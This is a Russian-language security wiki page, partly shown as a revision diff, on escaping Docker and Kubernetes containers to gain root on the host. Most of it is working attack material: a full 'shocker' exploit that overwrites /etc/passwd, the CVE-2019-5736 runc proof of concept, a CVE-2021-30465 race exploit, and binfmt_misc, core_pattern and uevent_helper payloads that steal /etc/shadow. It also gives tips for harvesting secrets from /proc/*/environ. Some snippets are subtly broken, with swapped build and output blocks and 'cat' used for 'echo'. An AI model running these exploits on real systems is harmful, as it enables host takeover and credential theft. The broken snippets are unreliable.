+ | // ./shocker_write /etc/passwd passwd | ||
+ | |||
+ | struct my_file_handle { | ||
+ | unsigned int handle_bytes; | ||
+ | int handle_type; | ||
+ | unsigned char f_handle[8]; | ||
+ | }; | ||
+ | void die(const char * msg) { | ||
+ | perror(msg); | ||
+ | exit(errno); | ||
+ | } | ||
+ | void dump_handle(const struct my_file_handle * h) { | ||
+ | fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, | ||
+ | h -> handle_type); | ||
+ | for (int i = 0; i < h -> handle_bytes; ++i) { | ||
+ | fprintf(stderr, "0x%02x", h -> f_handle[i]); | ||
+ | if ((i + 1) % 20 == 0) | ||
+ | fprintf(stderr, "\n"); | ||
+ | if (i < h -> handle_bytes - 1) | ||
+ | fprintf(stderr, ", "); | ||
+ | } | ||
+ | fprintf(stderr, "};\n"); | ||
+ | } | ||
+ | int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) | ||
+ | { | ||
+ | int fd; | ||
+ | uint32_t ino = 0; | ||
+ | struct my_file_handle outh = { | ||
+ | .handle_bytes = 8, | ||
+ | .handle_type = 1 | ||
+ | }; | ||
+ | DIR * dir = NULL; | ||
+ | struct dirent * de = NULL; | ||
+ | path = strchr(path, '/'); | ||
+ | // recursion stops if path has been resolved | ||
+ | if (!path) { | ||
+ | memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); | ||
+ | oh -> handle_type = 1; | ||
+ | oh -> handle_bytes = 8; | ||
+ | return 1; | ||
+ | } | ||
+ | ++path; | ||
+ | fprintf(stderr, "[*] Resolving '%s'\n", path); | ||
+ | if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) | ||
+ | die("[-] open_by_handle_at"); | ||
+ | if ((dir = fdopendir(fd)) == NULL) | ||
+ | die("[-] fdopendir"); | ||
+ | for (;;) { | ||
+ | de = readdir(dir); | ||
+ | if (!de) | ||
+ | break; | ||
+ | fprintf(stderr, "[*] Found %s\n", de -> d_name); | ||
+ | if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { | ||
+ | fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); | ||
+ | ino = de -> d_ino; | ||
+ | break; | ||
+ | } | ||
+ | } | ||
+ | fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); | ||
+ | if (de) { | ||
+ | for (uint32_t i = 0; i < 0xffffffff; ++i) { | ||
+ | outh.handle_bytes = 8; | ||
+ | outh.handle_type = 1; | ||
+ | memcpy(outh.f_handle, & ino, sizeof(ino)); | ||
+ | memcpy(outh.f_handle + 4, & i, sizeof(i)); | ||
+ | if ((i % (1 << 20)) == 0) | ||
+ | fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); | ||
+ | if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { | ||
+ | closedir(dir); | ||
+ | close(fd); | ||
+ | dump_handle( & outh); | ||
+ | return find_handle(bfd, path, & outh, oh); | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | closedir(dir); | ||
+ | close(fd); | ||
+ | return 0; | ||
+ | } | ||
+ | int main(int argc, char * argv[]) { | ||
+ | char buf[0x1000]; | ||
+ | int fd1, fd2; | ||
+ | struct my_file_handle h; | ||
+ | struct my_file_handle root_h = { | ||
+ | .handle_bytes = 8, | ||
+ | .handle_type = 1, | ||
+ | .f_handle = { | ||
+ | 0x02, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0 | ||
+ | } | ||
+ | }; | ||
+ | fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" | ||
+ | "[***] The tea from the 90's kicks your sekurity again. [***]\n" | ||
+ | "[***] If you have pending sec consulting, I'll happily [***]\n" | ||
+ | "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"); | ||
+ | read(0, buf, 1); | ||
+ | // get a FS reference from something mounted in from outside | ||
+ | if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) | ||
+ | die("[-] open"); | ||
+ | if (find_handle(fd1, argv[1], & root_h, & h) <= 0) | ||
+ | die("[-] Cannot find valid handle!"); | ||
+ | fprintf(stderr, "[!] Got a final handle!\n"); | ||
+ | dump_handle( & h); | ||
+ | if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) | ||
+ | die("[-] open_by_handle"); | ||
+ | char * line = NULL; | ||
+ | size_t len = 0; | ||
+ | FILE * fptr; | ||
+ | ssize_t read; | ||
+ | fptr = fopen(argv[2], "r"); | ||
+ | while ((read = getline( & line, & len, fptr)) != -1) { | ||
+ | write(fd2, line, read); | ||
+ | } | ||
+ | printf("Success!!\n"); | ||
+ | close(fd2); | ||
+ | close(fd1); | ||
+ | return 0; | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === CAP_SYS_RAWIO === | ||
+ | |||
+ | Доступ к следующим ресурсам: | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | /dev/mem | ||
+ | /dev/kmem | ||
+ | /proc/kcore | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Редактирование параметра mmap_min_addr | ||
+ | |||
+ | |||
+ | А также доступ к системным вызовам: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | ioperm(2) | ||
+ | iopl(2) | ||
+ | FIBMAP ioctl(2) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | И также доступ к различным дисковым командам. | ||
+ | |||
+ | === CAP_SYSLOG === | ||
+ | |||
+ | Позволяет использовать syslog(2) syscall и просматривать адреса ядра в /proc (если включен /proc/sys/kernel/kptr_restrict) | ||
+ | |||
+ | Также возможно смотреть dmesg вывод. | ||
+ | |||
+ | === CAP_NET_RAW === | ||
+ | |||
+ | Возможность отправлять низкоуровневые пакеты. | ||
+ | |||
+ | Скорее всего применимо только для MITM-атак, в следствие которых возможно повышение привилегий на других серверах. | ||
+ | |||
+ | Требуется проброшенный интерфейс хостовой машины, иначе атаки придется проводить на NAT докер контейнеров. | ||
+ | |||
+ | === CAP_NET_ADMIN === | ||
+ | |||
+ | Аналогично CAP_NET_RAW | ||
+ | |||
+ | |||
+ | Дает возможность изменять следующие пункты: | ||
+ | |||
+ | - network namespaces' firewall | ||
+ | |||
+ | - routing tables | ||
+ | |||
+ | - socket permissions | ||
+ | |||
+ | - network interface configuration | ||
+ | |||
+ | - другие настройки | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | Есть старые CVE, позволяющие повысить привилегии. Примеры: CVE-2011-1019, CVE-2010-4655, CVE-2013-4514 | ||
+ | |||
+ | == CVE == | ||
+ | |||
+ | Общий список CVE - https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list | ||
+ | |||
+ | === Runc exploit (CVE-2019-5736) === | ||
+ | |||
+ | Уязвимые версии: <=1.0-rc6 | ||
+ | |||
+ | Техника перезаписывает /bin/sh хостовой системы, поэтому любой кто запустит docker exec, стриггерит нашу полезную нагрузку. | ||
+ | |||
+ | Ссылка на эксплоит https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go : | ||
+ | |||
+ | <syntaxhighlight lang="go" line="1" enclose="div" style="overflow-x:auto; height: 300px;" > | ||
+ | package main | ||
+ | |||
+ | // Implementation of CVE-2019-5736 | ||
+ | // Created with help from @singe, @_cablethief, and @feexd. | ||
+ | // This commit also helped a ton to understand the vuln | ||
+ | // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d | ||
+ | import ( | ||
+ | "fmt" | ||
+ | "io/ioutil" | ||
+ | "os" | ||
+ | "strconv" | ||
+ | "strings" | ||
+ | "flag" | ||
+ | ) | ||
+ | |||
+ | |||
+ | var shellCmd string | ||
+ | |||
+ | func init() { | ||
+ | flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands") | ||
+ | flag.Parse() | ||
+ | } | ||
+ | |||
+ | func main() { | ||
+ | // This is the line of shell commands that will execute on the host | ||
+ | var payload = "#!/bin/bash \n" + shellCmd | ||
+ | // First we overwrite /bin/sh with the /proc/self/exe interpreter path | ||
+ | fd, err := os.Create("/bin/sh") | ||
+ | if err != nil { | ||
+ | fmt.Println(err) | ||
+ | return | ||
+ | } | ||
+ | fmt.Fprintln(fd, "#!/proc/self/exe") | ||
+ | err = fd.Close() | ||
+ | if err != nil { | ||
+ | fmt.Println(err) | ||
+ | return | ||
+ | } | ||
+ | fmt.Println("[+] Overwritten /bin/sh successfully") | ||
+ | |||
+ | // Loop through all processes to find one whose cmdline includes runcinit | ||
+ | // This will be the process created by runc | ||
+ | var found int | ||
+ | for found == 0 { | ||
+ | pids, err := ioutil.ReadDir("/proc") | ||
+ | if err != nil { | ||
+ | fmt.Println(err) | ||
+ | return | ||
+ | } | ||
+ | for _, f := range pids { | ||
+ | fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") | ||
+ | fstring := string(fbytes) | ||
+ | if strings.Contains(fstring, "runc") { | ||
+ | fmt.Println("[+] Found the PID:", f.Name()) | ||
+ | found, err = strconv.Atoi(f.Name()) | ||
+ | if err != nil { | ||
+ | fmt.Println(err) | ||
+ | return | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | |||
+ | // We will use the pid to get a file handle for runc on the host. | ||
+ | var handleFd = -1 | ||
+ | for handleFd == -1 { | ||
+ | // Note, you do not need to use the O_PATH flag for the exploit to work. | ||
+ | handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) | ||
+ | if int(handle.Fd()) > 0 { | ||
+ | handleFd = int(handle.Fd()) | ||
+ | } | ||
+ | } | ||
+ | fmt.Println("[+] Successfully got the file handle") | ||
+ | |||
+ | // Now that we have the file handle, lets write to the runc binary and overwrite it | ||
+ | // It will maintain it's executable flag | ||
+ | for { | ||
+ | writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) | ||
+ | if int(writeHandle.Fd()) > 0 { | ||
+ | fmt.Println("[+] Successfully got write handle", writeHandle) | ||
+ | fmt.Println("[+] The command executed is" + payload) | ||
+ | writeHandle.Write([]byte(payload)) | ||
+ | return | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Команда для сборки: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | [+] Overwritten /bin/sh successfully | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | После запуска эксплоита ждите надпись | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | go build main.go | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | После появления надписи нужно чтобы на хостовой системе запустили следующую команду которая стриггерит вашу полезную нагрузку: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | docker exec -it <container-name> /bin/sh | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === Runc exploit (CVE-2021-30465) === | ||
+ | |||
+ | Уязвимые версии: <=1.0.0-rc94 | ||
+ | |||
+ | |||
+ | Уязвимость позволяет примонтировать файловую систему, которая используя симлинки примонтируется за пределы rootfs. | ||
+ | |||
+ | http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ | ||
+ | |||
+ | Лучше подробнее почитать по ссылке тк у контейнеров должна быть очень специфичная конфигурация. | ||
+ | |||
+ | 1. Создаем симлинк | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | ln -s / /test2/test2 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | 2. Собираем эксплоит ( http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ ) | ||
+ | |||
+ | <syntaxhighlight lang="C" line="1" enclose="div" style="overflow-x:auto; height: 300px;" > | ||
+ | #define _GNU_SOURCE | ||
+ | #include <fcntl.h> | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <sys/types.h> | ||
+ | #include <sys/stat.h> | ||
+ | #include <unistd.h> | ||
+ | #include <sys/syscall.h> | ||
+ | |||
+ | int main(int argc, char *argv[]) { | ||
+ | if (argc != 4) { | ||
+ | fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]); | ||
+ | exit(EXIT_FAILURE); | ||
+ | } | ||
+ | char *name1 = argv[1]; | ||
+ | char *name2 = argv[2]; | ||
+ | char *linkdest = argv[3]; | ||
+ | |||
+ | int dirfd = open(".", O_DIRECTORY|O_CLOEXEC); | ||
+ | if (dirfd < 0) { | ||
+ | perror("Error open CWD"); | ||
+ | exit(EXIT_FAILURE); | ||
+ | } | ||
+ | |||
+ | if (mkdir(name1, 0755) < 0) { | ||
+ | perror("mkdir failed"); | ||
+ | //do not exit | ||
+ | } | ||
+ | if (symlink(linkdest, name2) < 0) { | ||
+ | perror("symlink failed"); | ||
+ | //do not exit | ||
+ | } | ||
+ | |||
+ | while (1) | ||
+ | { | ||
+ | renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE); | ||
+ | } | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | и компилируем | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto;" > | ||
+ | gcc race.c -O3 -o race | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | 3. В цикле запускаем эксплоит | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto;" > | ||
+ | seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | 4. Во втором шелле запустите в цикле обновление контейнера | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto;" > | ||
+ | for c in {2..20}; do | ||
+ | kubectl set image pod attack c$c=ubuntu:latest | ||
+ | done | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | 5. Проверьте результат (в /test1/zzz будет смонтирован корень хоста) | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto;" > | ||
+ | for c in {2..20}; do | ||
+ | echo ~~ Container c$c ~~ | ||
+ | kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz | ||
+ | done | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === Runc exploit (CVE-2019-19921) === | ||
+ | |||
+ | Уязвимые версии: <1.0.0-rc10 | ||
+ | |||
+ | https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html | ||
+ | |||
+ | |||
+ | === Containerd exploit (CVE-2019-41103) === | ||
+ | |||
+ | Уязвимые версии: <1.4.11, < 1.5.7 | ||
+ | |||
+ | Эксплоита не вижу, но описание тут https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq | ||
+ | |||
+ | == Sockets == | ||
+ | |||
+ | === Docker Sockets === | ||
Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера. | Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера. | ||
Строка 57: | Строка 1110: | ||
Это позволяет выполнять стандартные docker команды на хостовой системе. | Это позволяет выполнять стандартные docker команды на хостовой системе. | ||
− | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x: | + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > |
find / -name docker.sock 2>/dev/null | find / -name docker.sock 2>/dev/null | ||
# Как правило будет /run/docker.sock | # Как правило будет /run/docker.sock | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | Если docker.sock будет лежать по адресу /run/docker.sock то можно использовать стандартную команду docker. | + | Если docker.sock будет лежать по адресу /var/run/docker.sock то можно использовать стандартную команду docker. |
Иначе потребуется использовать команду | Иначе потребуется использовать команду | ||
− | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x: | + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > |
docker -H unix:///path/to/docker.sock ... | docker -H unix:///path/to/docker.sock ... | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | Другой вариант - через http запросы: | ||
− | ==== rktlet socket | + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > |
+ | curl -s --unix-socket /var/run/docker.sock http:/containers/json | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | или через TCP-socket | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -s http://<host>:<port>/containers/json | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Другие команды по работе с docker socket можно найти тут https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket | ||
+ | |||
+ | === rktlet socket === | ||
unix:///var/run/rktlet.sock | unix:///var/run/rktlet.sock | ||
− | + | === frakti socket === | |
unix:///var/run/frakti.sock | unix:///var/run/frakti.sock | ||
− | + | === cri-o socket === | |
unix:///var/run/crio/crio.sock | unix:///var/run/crio/crio.sock | ||
− | + | === containerd socket === | |
unix:///run/containerd/containerd.sock | unix:///run/containerd/containerd.sock | ||
− | + | === dockershim socket === | |
unix:///var/run/dockershim.sock | unix:///var/run/dockershim.sock | ||
+ | |||
+ | |||
+ | == Privileged container == | ||
+ | |||
+ | === Примонтированные директории === | ||
+ | |||
+ | В зависимости от того, какая директория примонтирована, можно работать с файловой системой хоста. | ||
+ | |||
+ | Зависит от фантазии хакера. Может быть доступ например к /etc/ или к /root/. | ||
+ | |||
+ | === hostPID === | ||
+ | |||
+ | Позволяет получить доступ к процессам директории /proc/ | ||
+ | |||
+ | Что там может быть интересного: | ||
+ | |||
+ | 0. Дает возможность просмотреть какие вообще процессы запущены на хостовой системе. | ||
+ | |||
+ | 1. Файловые дескрипторы открытых файлов - чекать все /proc/*/fd файлы, можно их прочитать | ||
+ | |||
+ | 2. Секреты в env - /proc/*/environ | ||
+ | |||
+ | 3. Убивать процессы и вызывать DoS | ||
+ | |||
+ | 4. Под вопросом - читать память процессов например sshd и сниффать пароли (например утилитой 3snake). | ||
+ | |||
+ | |||
+ | ==== privileged ==== | ||
+ | |||
+ | Частный случай, когда контейнер является привилегированным. | ||
+ | |||
+ | Тогда достаточно заюзать следующую команду и перейти в рута хоста: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | nsenter --target 1 --mount --uts --ipc --net --pid -- bash | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === hostNetwork === | ||
+ | |||
+ | Позволяет взаимодействовать с сетью хоста. | ||
+ | |||
+ | Например, прослушивать трафик или MITM-атаки проводить. | ||
+ | |||
+ | Для этого достаточно юзать например tcpdump -i eth0 | ||
+ | |||
+ | Примеры атак: | ||
+ | |||
+ | - https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/ | ||
+ | |||
+ | - https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/ | ||
+ | |||
+ | |||
+ | Общие вектора: | ||
+ | |||
+ | 1. Сниффать трафик | ||
+ | |||
+ | 2. Доступ к сервисам на localhost | ||
+ | |||
+ | 3. Обход политик network (kubernetes). | ||
+ | |||
+ | === hostIPC === | ||
+ | |||
+ | Inter-Process Communication Mechanisms | ||
+ | |||
+ | Позволяет работать с каналами передачи между процессами. | ||
+ | |||
+ | Примеров мало, но советуют следующее: | ||
+ | |||
+ | 1. Проверить /dev/shm/ на наличие общих ресурсов памяти по которым идет общение | ||
+ | |||
+ | 2. Проверить IPC-facilities используя команду "ipcs -a" | ||
= Ссылки = | = Ссылки = | ||
+ | |||
+ | == Лабы == | ||
+ | [https://github.com/BishopFox/badPods badPods - лаборатория уязвимых контейнеров] | ||
+ | |||
+ | |||
+ | == Статьи == | ||
+ | [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/ 0xn3va gitbook] | ||
+ | |||
+ | |||
+ | == Выступления == | ||
+ | |||
+ | [https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf Container Escape in 2021 - Li Qiang HITB 2021] |
Текущая версия на 18:15, 7 июля 2022
Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа.
Содержание
- 1 SSRF
- 2 Local file reading
- 3 Remote code execution
- 3.1 Mounts
- 3.1.1 /proc/sys
- 3.1.2 /proc/config.gz
- 3.1.3 /proc/sysrq-trigger
- 3.1.4 /proc/kmsg
- 3.1.5 /proc/kallsyms
- 3.1.6 /proc/*/mem
- 3.1.7 /proc/kcore
- 3.1.8 /proc/kmem
- 3.1.9 /proc/mem
- 3.1.10 /proc/sched_debug
- 3.1.11 /proc/*/mountinfo
- 3.1.12 /sys/kernel/uevent_helper
- 3.1.13 /sys/class/thermal
- 3.1.14 /sys/kernel/vmcoreinfo
- 3.1.15 /sys/kernel/security
- 3.1.16 /sys/firmware/efi/vars
- 3.1.17 /sys/firmware/efi/efivars
- 3.1.18 /sys/kernel/debug
- 3.2 Capabilities
- 3.3 CVE
- 3.4 Sockets
- 3.5 Privileged container
- 3.1 Mounts
- 4 Ссылки
SSRF
Доступ, когда можно только делать запросы по различным протоколам.
Суть в том, что в случае с SSRF можно делать запросы кроме файлов еще и на сторонние сервисы. Эти сервисы как правило запущены не в том же контейнере, а на соседнем с виртуальной сетью (это быстро настраивается с docker-compose).
Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер
Local file reading
Доступ, когда можно только читать локальные файлы контейнера.
Host volumes mount
В случае, если настройками докера были примонтированы хостовые директории, то тогда можно поискать в них критичные файлы конфигов, ключей, паролей и тд.
Например, корневая директория хостовой системы может быть доступна по адресу /host_root/.
kubernetes
environ
В контейнеры часто передают ключевую информацию в переменные окружения, поэтому советую прочитать файлы /proc/*/environ для поиска секретов.
Например, файл текущего процесса /proc/self/environ
Remote code execution
Mounts
Многие директории хоста в случае доступа из контейнера, позволяют, например, получить исполнение кода на хостовой машине.
/proc/sys
Позволяет редактировать переменные ядра
/proc/sys/kernel/core_pattern
Позволяет запустить произвольный код от имени рута на хостовой системе. Требуются права записи.
Кратко: определяем программу через символ pipe которая будет запущена если программа сломается.
Уточняю, но предварительно для эксплуатации требуется:
1. Права изменения файла /proc/sys/kernel/core_pattern
2. Права создания файла где то в известном месте на хостовой машине
3. На созданный файл chmod +x
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern
sleep 5 && ./crash
/proc/sys/kernel/modprobe
Содержить путь до kernel module loader, который используется когда вы подгружаете модуль ядра например через команду modprobe.
Поэтому вам требуется право на запись в этот файл, чтобы поменять путь до вашего исполняемого файла.
Пример содержимого файла:
$ cat /proc/sys/kernel/modprobe
/sbin/modprobe
/proc/sys/fs
Директория с файлами конфигураций файловой системы: inode, file handler, quota и тд.
Как правило, позволяет провести только атаки DoS
/proc/sys/fs/binfmt_misc
В дополнение к предыдущему пункту. Файл нужен для определения того, через какую программу будут исполняться файлы (например, DOS приложения через wine elf).
Для эксплуатации требуется возможность записать файлы.
Тестовая инфраструктура :
sudo docker run --security-opt apparmor:unconfirned --cap-add=SYS_ADMIN -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
Пример эксплуатации (перезаписывание #!/bin/sh интерпретатора):
# Можен понадобиться перемонтирование (хотя мб не хватит прав)
mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
mount -o rw,remount /proc/sys
# Получение пути с хостовой машины до файловой системы контейнера - мб нет прав
mount | grep upperdir
cd /tmp/
# Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер
echo 'cat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh
chmod +x test.sh
# Добавляем новое определение #!/bin/sh:
echo ':test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register
# Ждем пока на хостовой системе запустят файл который начинается с #!/bin/sh
./test_file.sh
# читаем файл shadow скопированный в контейнер
cat /tmp/shadow
Пример эксплуатации (перезаписывание команды ls):
mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
mount -o rw,remount /proc/sys
# Получение пути с хостовой машины до файловой системы контейнера - мб нет прав
mount | grep upperdir
cd /tmp/
# Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер
echo -e '$#/bin/bash\ncat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh
chmod +x test.sh
# Добавляем новое определение команды ls:
echo ':test:M:208:\xd0\x35::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register
# Ждем пока на хостовой системе запустят команду ls
ls
# читаем файл shadow скопированный в контейнер
cat /tmp/shadow
Утилита для эксплуатации (не в докере): https://github.com/toffan/binfmt_misc
Презентация с описанием атак (в докере): https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
/proc/config.gz
Информация о хостовой системе (ядре), которая может помочь при побеге из контейнера.
cd /tmp;
cp /proc/config.gz .
gzip -d config.gz
cat config
/proc/sysrq-trigger
Если мы можем записывать по адресу /proc/sysrq-trigger, то это позволяет нам (не только):
1. Перезапустить систему
2. вызвать sync(2) syscall
3. перемаунтить файловую систему как read-only
4. Вызвать отладчики ядра
Пример перезапуска системы:
echo b > /proc/sysrq-trigger
Проверка файловой системы (read-only):
echo 1 > /proc/sysrq-trigger
/proc/kmsg
Позволяет получить доступ к сообщениям kernel ring (обычно доступные через dmesg).
По большей части только раскрывает информацию о ядре, которая позже может пригодиться при побеге из контейнера.
/proc/kallsyms
Тоже информация о ядре.
/proc/*/mem
Это интерфейс к устройству ядра /dev/mem.
Есть старая CVE на повышение через это - CVE-2012-0056.
Подробнее про уязвимость: https://git.zx2c4.com/CVE-2012-0056/about/
/proc/kcore
Это представление физической системы в формате ELF. Если у вас есть возможность читать этот файл, то вы можете прочитать фрагменты памяти чем вызвать memory leak.
Инструкция как дампить память: https://schlafwandler.github.io/posts/dumping-/proc/kcore/
/proc/kmem
Представление устройства /dev/kmem, позволяет напрямую читать и редактировать оперативную память ядра.
Ищем по памяти подстроку PASS:
strings /proc/kmem -n10 | grep -i PASS
Но для этого также нужно отключить docker apparmor
/proc/mem
Представление устройства /dev/mem, позволяет напрямую читать и редактировать физическую память ядра.
Ищем по памяти подстроку PASS:
strings /proc/mem -n10 | grep -i PASS
/proc/sched_debug
Возвращает информацию о задачах по расписанию у хостовой системы.
Позволяет например обойти PID-ограничения и узнать айди процессов хоста.
/proc/*/mountinfo
Информация о Mount Points в рабочем пространстве процесса
/sys/kernel/uevent_helper
Файл отвечает за то, какие скрипты будут запущены, когда будет подключено или отключено новое устройство.
Если есть права на запись на этот файл, то можно заменить его содержимое на путь до нашего исполняемого файла.
# Создаем вредоносный файл
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper
# Определяет путь с хоста до файловой системы докера
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Указываю путь до моего файла
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# Вызываю uevent
echo change > /sys/class/mem/null/uevent
# Второй способ
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# Читаю вывод
cat /output
/sys/class/thermal
Доступ к аппаратным характеристикам, как правило привести может только к DoS
/sys/kernel/vmcoreinfo
Адреса памяти ядра, может помочь для обхода KASLR(рандомизация адресов).
/sys/kernel/security
Примонтирован securityfs интерфейс, позволяющий конфигурировать модули безопасности Linux, например, AppArmor policies.
/sys/firmware/efi/vars
Не сильно распространено, позволяет общаться с EFI-переменными в NVRAM. Как минимум, привести к DoS можно.
/sys/firmware/efi/efivars
Если есть права на запись, то можно записывать в NVRAM которая используется в качестве аргумента для UEFI-загрузки. Минимум DoS, в лучшем - компрометация сервера.
/sys/kernel/debug
Ссылка на debugfs интерфейс. Позволяет создавать интерфейсы отладки которые будут доступны в пользовательском пространстве. Есть много уязвимостей, эксплуатирующихся через данный интерфейс.
Capabilities
Получить список возможных capabilities:
capsh --print
Или сложнее:
cat /proc/self/status | grep Cap
Пример вывода:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Чтобы декодировать:
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Тестовая инфраструктура для произвольной capability:
sudo docker run --cap-add название_capability -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
CAP_SYS_CHROOT
Доступ к системному вызову:
